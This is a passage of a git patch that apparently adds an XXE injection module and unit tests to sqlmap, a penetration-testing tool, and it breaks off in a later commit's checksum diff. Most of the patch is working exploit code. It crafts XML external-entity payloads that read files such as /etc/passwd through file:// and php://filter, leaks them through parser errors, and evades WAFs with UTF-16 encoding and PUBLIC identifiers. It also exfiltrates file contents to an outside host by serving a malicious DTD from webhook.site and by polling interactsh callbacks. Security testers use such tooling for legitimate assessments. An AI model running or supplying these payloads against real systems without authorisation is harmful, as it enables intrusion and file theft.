auxHeaders=_auxHeaders(), raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("XXE probe request failed: %s" % getUnicode(ex)) + return "" + + +def _buildDoctype(xml, rootName, internalSubset): + """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. + A document may already declare a DOCTYPE - injecting a second one is invalid + XML and every parser rejects it, so we splice into the existing declaration + instead (into its internal subset, or by adding one to a subset-less DOCTYPE).""" + + existing = re.search(r"\[]*\[", xml) + if existing: + # Splice our declarations into the existing internal subset. + insertAt = xml.index('[', existing.start()) + 1 + return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] + + subsetless = re.search(r"\[]*>", xml) + if subsetless: + # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): + # add an internal subset before its closing '>' (both may legally coexist). + close = xml.index('>', subsetless.start()) + return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] + + doctype = "" % (rootName, internalSubset) + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + if prolog: + end = prolog.end() + return xml[:end] + "\n" + doctype + xml[end:] + return doctype + "\n" + xml + + +def _placeRef(xml, snippet, attrs=False): + """Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf + text node - not just the first - so detection does not depend on which field the + application happens to reflect. When `attrs` is set (internal-entity tier only), + also seed existing attribute values, since a general internal entity legally + expands inside an attribute (external entity refs do NOT - never seed attributes + for the external/XInclude tiers or the document becomes ill-formed). Falls back to + injecting just before the root's closing tag when there is no text node at all.""" + + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 + head, tail = xml[:start], xml[start:] + tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) + if attrs: + # Seed every attribute value except namespace declarations (xmlns / xmlns:*), + # whose rewriting would break the document. Only touches simple, entity-free + # values (the '[^"\'<>&]*' class) so we never corrupt existing markup. + tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', + lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail) + count += acount + if count: + return head + tail + + rootName = _rootName(xml) + if rootName: + close = "" % rootName + if close in xml: + idx = xml.rindex(close) + return xml[:idx] + snippet + xml[idx:] + # self-closing root: -> snippet + selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml) + if selfClose: + tag = selfClose.group(0) + opened = tag[:-2] + ">" + snippet + close + return xml[:selfClose.start()] + opened + xml[selfClose.end():] + return xml + + +def _fingerprint(page): + page = getUnicode(page or "") + for family, regex in XXE_ERROR_SIGNATURES: + if re.search(regex, page): + return family + return None + + +def _echoed(page): + """True when the response mirrors our raw markup back. Essential guard for the + sentinel-in-path oracles: a debug/echo endpoint that never parses XML would + otherwise reflect the sentinel (it is inside the body we sent) and look like a + genuine parser error. A real error surfaces only the path/message, not the + DOCTYPE/entity declarations.""" + page = getUnicode(page or "") + return "' % (ent, SENTINEL) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True) + page = _send(payload) + + if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: + return payload, page + return None, page + + +def _confirmRead(page, pattern, baseline): + """Return the first response line that matches a known file-content signature + and is absent from the baseline. The baseline guard is essential: it stops a + generic short reply (e.g. 'received', 'ok') from matching a loose pattern.""" + + baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines()) + for line in getUnicode(page).splitlines(): + line = line.strip() + if line and line not in baselineLines and re.search(pattern, line): + return line + return None + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target: place the external + entity between two random markers so the exact file content can be sliced out + of the response regardless of surrounding template. Raw file:// works for text + files; php://filter base64 (PHP) carries files with XML-special bytes. Returns + the file content or None.""" + + from lib.core.convert import decodeBase64 + + resource = fileName if fileName.startswith("/") else "/" + fileName + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + for systemId, isB64 in (("file://%s" % resource, False), + ("php://filter/convert.base64-encode/resource=%s" % resource, True)): + ent = randomStr(8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + continue + data = match.group(1) + if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo + continue + if isB64: + try: + data = getText(decodeBase64(data.strip())) + except Exception: + continue + if data and data.strip(): + return data + return None + + +def _tryExternalFile(xml, rootName, baseline): + """Impact demonstration once XXE is live: read a benign host-identity file via + an external general entity. Returns (systemId, snippet) on a confirmed read.""" + + for systemId, pattern in XXE_IMPACT_FILES: + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + snippet = _confirmRead(_send(payload), pattern, baseline) + if snippet: + return systemId, snippet + return None, None + + +def _tryPhpFilter(xml, rootName, baseline): + """PHP-only in-band read that survives newlines/binary: base64 a source file + through php://filter. Confirmed when the reflection decodes to file content.""" + + from lib.core.convert import decodeBase64 + + baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) + for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): + resource = systemId[len("file://"):] + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, resource) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(payload) + for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)): + if token in baselineTokens: + continue + try: + decoded = getText(decodeBase64(token)) + except Exception: + continue + if decoded and re.search(pattern, decoded, re.M): + return payload + return None + + +def _tryError(xml, rootName): + """T3 error-based: a parameter entity points at a non-existent path carrying + the sentinel. Confirmed when the sentinel surfaces inside a parser error.""" + + subset = '\n%%xxe;' % SENTINEL + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, page + + +def _tryLocalDtd(xml, rootName): + """T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its + parameter entities to load a sentinel path, and read the sentinel back out of + the resulting parser error - no outbound network required.""" + + for dtdPath, entName in XXE_LOCAL_DTDS: + subset = ( + '\n' + "%xxe;'>\n" + "%%local_dtd;" + ) % (dtdPath, entName, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, "" + + +def _tryErrorExfil(xml, rootName): + """In-band error-based file EXFILTRATION: coerce the parser into an error whose + message embeds the target file's contents (not just a sentinel). Two vehicles: + (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on + the exfil service -> needs egress to fetch it plus verbose errors. php://filter + base64 carries a whole multi-line file intact; raw file:// leaks the first line + on any parser. Returns (content, filename) or (None, None).""" + + from lib.core.convert import decodeBase64 + + fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE + resource = fileName if fileName.startswith("/") else "/" + fileName + marker = randomStr(10, lowercase=True) + # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) + reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), + ("file://%s" % resource, False)) + + def _extract(page, isB64): + pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) + match = re.search(pattern, getUnicode(page)) + if not match: + return None + if isB64: + try: + return getText(decodeBase64(match.group(1))) or None + except Exception: + return None + return match.group(1) + + # (a) local-DTD repurposing - no egress + for dtdPath, entName in XXE_LOCAL_DTDS: + for systemId, isB64 in reads: + inner = ('' + '">' + '%eval;%error;') % (systemId, marker) + subset = '\n\n%%local_dtd;' % (dtdPath, entName, inner) + content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64) + if content: + return content, fileName + + # (b) DTD we host on the exfil service - egress + verbose errors (third party) + if not _oobEnabled(): + return None, None + from lib.request.webhooksite import WebhookSite + wh = WebhookSite() + for systemId, isB64 in reads: + dtd = ('\n' + '">\n' + '%%eval;\n%%error;') % (systemId, marker) + token = wh.newToken(dtd) + if not token: + break + content = _extract(_send(_buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(token))), isB64) + if content: + return content, fileName + + return None, None + + +def _tryXInclude(xml, rootName, baseline): + """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as + text. Confirmed when the file content appears in the response (baseline-guarded).""" + + for systemId, pattern in XXE_IMPACT_FILES: + snippet = '' % systemId + payload = _placeRef(xml, snippet) + confirmed = _confirmRead(_send(payload), pattern, baseline) + if confirmed: + return payload, systemId, confirmed + return None, None, None + + +def _tryEvasions(xml, rootName, baseline): + """T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail. + Each transform keeps the payload semantically identical while defeating a + common naive filter, so a reachable-but-filtered parser can still be caught. + Returns (title, payload) on a confirmed hit.""" + + # (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while + # ASCII byte-signature WAFs (grepping for "' % (ent, SENTINEL) + body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike + if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline: + return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body) + + # (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist + # the SYSTEM identifier; the second literal is still the resolved system id. + subset = '\n%%xxe;' % SENTINEL + body = _buildDoctype(xml, rootName, subset) + page = _send(body) + if SENTINEL in page and not _echoed(page): + return "Error-based via PUBLIC keyword (WAF evasion)", body + + return None, None + + +def _timed(body, timeout): + """One request, returning wall-clock seconds. ignoreTimeout keeps a stalled + parser from raising, so the elapsed time itself is the signal.""" + start = time.time() + try: + Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), + raise404=False, silent=True, ignoreTimeout=True, timeout=timeout) + except Exception: + pass + return time.time() - start + + +def _tryTimeBlind(xml, rootName): + """T6 last-resort blind detection with NO collector: an external parameter + entity aimed at a non-routable TEST-NET host stalls a fetching parser on the + connection. Confirmed only on a large, reproducible delay measured against a + DTD-processing control (an internal parameter entity, no fetch) - so DTD + overhead alone cannot trip it and only the outbound-fetch stall counts.""" + + control = _buildDoctype(xml, rootName, '\n%%c;') + baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout)) + threshold = baseline + XXE_TIME_THRESHOLD + probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3) + + # Bound each stalled probe: the per-call timeout kwarg does not reach a pooled + # socket, so cap via conf.timeout (the value the connection actually uses) and + # drop conf.retries so a stall is not re-sent. Restored in finally. + _timeout, _retries = conf.timeout, conf.retries + conf.timeout, conf.retries = probeTimeout, 0 + try: + subset = '\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + + if _timed(payload, probeTimeout) < threshold: + return None + if _timed(payload, probeTimeout) < threshold: # must reproduce + return None + return payload + finally: + conf.timeout, conf.retries = _timeout, _retries + + +def _oobEnabled(): + """Out-of-band tiers contact a public third party by default. Honour an explicit + opt-out (`--oob-server none`) for sensitive engagements.""" + return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") + + +def _tryOobExfil(xml, rootName): + """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on + a public content+logging service (webhook.site), point the target's parser at + it, and read the file it ships back out. The DTD uses the classic nested + parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64 + so any file survives the callback URL. The DTD-fetch itself doubles as blind + detection. Reads conf.fileRead if given, else a benign default. Returns a dict + {payload, filename, content, detected} or None if the service is unusable.""" + + from lib.core.convert import decodeBase64 + from lib.request.webhooksite import WebhookSite + + wh = WebhookSite() + exfilToken = wh.newToken() + if not exfilToken: + logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") + return None + + target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE + exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + dtd = ('\n' + '">\n' + '%%eval;\n%%exfil;') % (target, exfilUrl) + dtdToken = wh.newToken(dtd) + if not dtdToken: + return None + + singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint) + payload = _buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(dtdToken)) + _send(payload) + + content, detected = None, False + for _ in range(OOB_POLL_ATTEMPTS): + time.sleep(OOB_POLL_DELAY) + for record in wh.captured(exfilToken): + leaked = (record.get("query") or {}).get("x") + if leaked: + try: + content = getText(decodeBase64(leaked)) + except Exception: + content = getText(leaked) + break + if content: + break + if not detected and wh.captured(dtdToken): + detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil + + if not detected: + detected = bool(wh.captured(dtdToken)) + return {"payload": payload, "filename": target, "content": content, "detected": detected} + + +def _tryOob(xml, rootName): + """T7 blind confirmation via an out-of-band collector (interactsh): an external + parameter entity points at a unique callback URL. If the target's parser fetches + it (or even just resolves its DNS), the collector records the interaction and we + poll it back - definitive proof of blind XXE with egress, and it names the + channel (HTTP vs DNS-only). Returns (payload, protocol) or None.""" + + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)") + return None + + client = Interactsh(server=conf.get("oobServer")) + if not client.registered: + logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)") + return None + + singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server) + try: + url = client.url() + subset = '\n%%oob;' % url + payload = _buildDoctype(xml, rootName, subset) + _send(payload) + interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY) + if interactions: + protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions)) + return payload, ", ".join(protocols) + finally: + client.close() + return None + + +def xxeScan(): + global SENTINEL + SENTINEL = randomStr(length=12, lowercase=True) + + debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " + debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + logger.debug(debugMsg) + + xml = _cleanBody() + if not _looksXml(xml): + logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')") + return + + rootName = _rootName(xml) + if not rootName: + logger.error("could not locate the document root element in the XML body") + return + + logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) + + baseline = _send(xml) + found = False + + # T2: in-band reflected (internal entity expansion) - the strongest oracle + payload, page = _tryInternal(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") + _report("In-band (reflected internal entity)", payload) + + if conf.get("fileRead"): + content = _tryInbandFileRead(xml, rootName, conf.fileRead) + if content: + logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _dumpFileRead(conf.fileRead, content) + + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if systemId: + logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) + _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) + else: + phpPayload = _tryPhpFilter(xml, rootName, baseline) + if phpPayload: + logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") + _report("File read via php://filter (base64)", phpPayload) + + # T3: error-based (works where entities are not reflected but errors leak) + errorChannel = False + if not found: + payload, page = _tryError(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) + _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) + + # T3b: no-egress error-based via local-DTD repurposing + if not found: + payload, page = _tryLocalDtd(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") + _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) + + # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an + # in-band file read (or attempt it directly when the user asked via --file-read) + if errorChannel or conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName) + if content: + found = True + logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) + _dumpFileRead(fileName, content) + + # T4: XInclude fallback (no DOCTYPE/entity control needed) + if not found: + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM) + if not found: + title, payload = _tryEvasions(xml, rootName, baseline) + if title: + found = True + logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) + _report(title, payload) + + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host + if not found: + logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") + payload = _tryTimeBlind(xml, rootName) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") + _report("Time-based blind (external entity to non-routable host)", payload) + + # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) + if not found and _oobEnabled(): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + + # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) + if not found and _oobEnabled(): + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + + if not found: + # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser + # from a merely non-reflecting one so the user knows why it did not fire. + probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) + if re.search(XXE_HARDENED_REGEX, getUnicode(probe)): + logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)") + else: + backend = _fingerprint(probe) + if backend: + logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend) + logger.warning("the XML body does not appear to be injectable via XXE") + return + + logger.info("XXE scan complete") diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 613518b7a..234781297 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -23,7 +23,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) from lib.core.settings import MAX_DNS_REQUESTS -from lib.request.dns import DNSQuery, DNSServer +from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer def build_query(name, tid=b"\x12\x34", qtype=1): @@ -324,3 +324,41 @@ class TestDNSServerConcurrency(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +class TestInteractshDNSServer(unittest.TestCase): + """The interactsh-backed DNS collector must present the same pop(prefix, suffix) + accounting as DNSServer, matching only prefix..suffix names and never + returning the same captured lookup twice.""" + + def _collector(self, names): + class _FakeClient(object): + registered = True + def dnsDomain(self): return "corr0000000000000nnc.oast.fun" + def dnsNames(self): return list(names) + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = _FakeClient() + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + return srv + + def test_pop_matches_prefix_suffix_and_dedups(self): + names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"] + srv = self._collector(names) + got = srv.pop("aaa", "zzz") + self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc") + self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed + + def test_pop_no_match(self): + srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"]) + self.assertIsNone(srv.pop("aaa", "zzz")) + + def test_pop_any(self): + srv = self._collector(["whatever.corr0000000000000nnc"]) + self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc") + + def test_run_is_noop(self): + self._collector([]).run() # must not raise + diff --git a/tests/test_xxe.py b/tests/test_xxe.py new file mode 100644 index 000000000..0c29c0585 --- /dev/null +++ b/tests/test_xxe.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XXE injection engine. Pure helpers are exercised +directly; detection tiers run against a mocked _send() so reflected/error/echo oracles +can be simulated without a live target; and crafted payloads are parsed with real lxml +to prove they are well-formed and actually expand the injected entity. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xxe.inject as xxe +from lib.core.data import conf +from lib.core.data import kb + + +class TestLooksXmlAndClean(unittest.TestCase): + def test_looks_xml(self): + self.assertTrue(xxe._looksXml("x")) + self.assertTrue(xxe._looksXml(" ")) + self.assertFalse(xxe._looksXml("id=1&name=x")) + self.assertFalse(xxe._looksXml("{\"a\": 1}")) + self.assertFalse(xxe._looksXml("")) + + def test_clean_body_strips_marks_and_bom(self): + conf.data = u"\ufeffluther%s" % (kb.customInjectionMark or "*") + cleaned = xxe._cleanBody() + self.assertFalse(cleaned.startswith(u"\ufeff")) + self.assertNotIn(kb.customInjectionMark or "*", cleaned) + self.assertTrue(cleaned.startswith("")) + + +class TestRootName(unittest.TestCase): + def test_plain(self): + self.assertEqual(xxe._rootName("x"), "user") + + def test_with_prolog_and_comment(self): + self.assertEqual(xxe._rootName("x"), "order") + + def test_namespaced(self): + self.assertEqual(xxe._rootName(''), "soap:Envelope") + + def test_existing_doctype_skipped(self): + self.assertEqual(xxe._rootName(''), "user") + + +class TestBuildDoctype(unittest.TestCase): + SUBSET = '' + + def test_no_doctype_prepended(self): + out = xxe._buildDoctype("x", "r", self.SUBSET) + self.assertIn("x", "r", self.SUBSET) + self.assertLess(out.index("]>x", "r", self.SUBSET) + self.assertEqual(out.count("x', "r", self.SUBSET) + self.assertEqual(out.count("onetwo

", "&e;") + self.assertEqual(out.count("&e;"), 2) + self.assertNotIn("one", out) + self.assertNotIn("two", out) + + def test_attributes_only_when_requested(self): + text = 'luther' + self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default + self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on + + def test_xmlns_preserved(self): + out = xxe._placeRef('x', "&e;", attrs=True) + self.assertIn('xmlns:soap="ns"', out) # namespace decl untouched + + def test_self_closing_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + self.assertIn("", out) + + def test_empty_element_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + + +class TestGuards(unittest.TestCase): + def test_echoed(self): + self.assertTrue(xxe._echoed("... luther", "u", baseline="Hello, luther!") + self.assertIsNotNone(payload) + + def test_internal_echo_rejected(self): + # endpoint mirrors the raw body back (never parses) -> must NOT be a hit + xxe._send = lambda body: "You sent: %s" % body + payload, _ = xxe._tryInternal("luther", "u", baseline="You sent: luther") + self.assertIsNone(payload) + + def test_internal_baseline_contains_sentinel_rejected(self): + xxe._send = lambda body: "Hello, %s!" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) + self.assertIsNone(payload) + + def test_error_based_positive(self): + xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL + payload, page = xxe._tryError("x", "u") + self.assertIsNotNone(payload) + self.assertIsNotNone(xxe._fingerprint(page)) + + def test_error_based_echo_rejected(self): + xxe._send = lambda body: "You sent: %s" % body # echoes DOCTYPE/ENTITY -> _echoed guard + payload, _ = xxe._tryError("x", "u") + self.assertIsNone(payload) + + def test_error_exfil_extraction_base64(self): + import base64 + from lib.core.convert import getText + secret = getText(base64.b64encode(b"root:x:0:0:root:/root:/bin/sh")) + + def mock(body): + m = re.search(r'file:///(\w+)/%file;', body) or re.search(r'file:///(\w+)/%file;', body) + marker = m.group(1) if m else "zzz" + return 'failed to load "file:///%s/%s"' % (marker, secret) + + xxe._send = mock + conf.fileRead = "/etc/passwd" + try: + content, name = xxe._tryErrorExfil("x", "u") + finally: + conf.fileRead = None + self.assertEqual(name, "/etc/passwd") + self.assertIn("root:x:0:0", content or "") + + +class TestRealXmlPayloads(unittest.TestCase): + """Prove crafted payloads are well-formed and actually expand the entity.""" + + @staticmethod + def _expand(payload): + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True, huge_tree=False) + doc = etree.fromstring(payload.encode("utf-8"), parser) + return "".join(doc.itertext()) + + def test_internal_entity_expands(self): + xxe.SENTINEL = "realxmlsentinel" + ent = "abcd" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype("luther", "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_internal_entity_expands_with_existing_doctype(self): + xxe.SENTINEL = "realxmlsentinel2" + ent = "efgh" + subset = '' % (ent, xxe.SENTINEL) + base = ']>luther' + payload = xxe._placeRef(xxe._buildDoctype(base, "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_attribute_entity_expands(self): + xxe.SENTINEL = "attrsentinel" + ent = "ijkl" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype('x', "u", subset), "&%s;" % ent, attrs=True) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + +if __name__ == "__main__": + unittest.main() From 3cf29a543a7d7913ac04fb6b5fd771707438d72b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 10:36:10 +0200 Subject: [PATCH 25/34] Refactoring for --xxe --- data/txt/sha256sums.txt | 10 +- lib/core/settings.py | 12 +- lib/request/interactsh.py | 8 +- lib/request/webhooksite.py | 32 ++++- lib/techniques/xxe/inject.py | 232 +++++++++++++++++++++++------------ tests/test_xxe.py | 116 ++++++++++++++++++ 6 files changed, 313 insertions(+), 97 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ed2947c53..e1c202926 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py +c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -220,14 +220,14 @@ b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py +df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py -58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 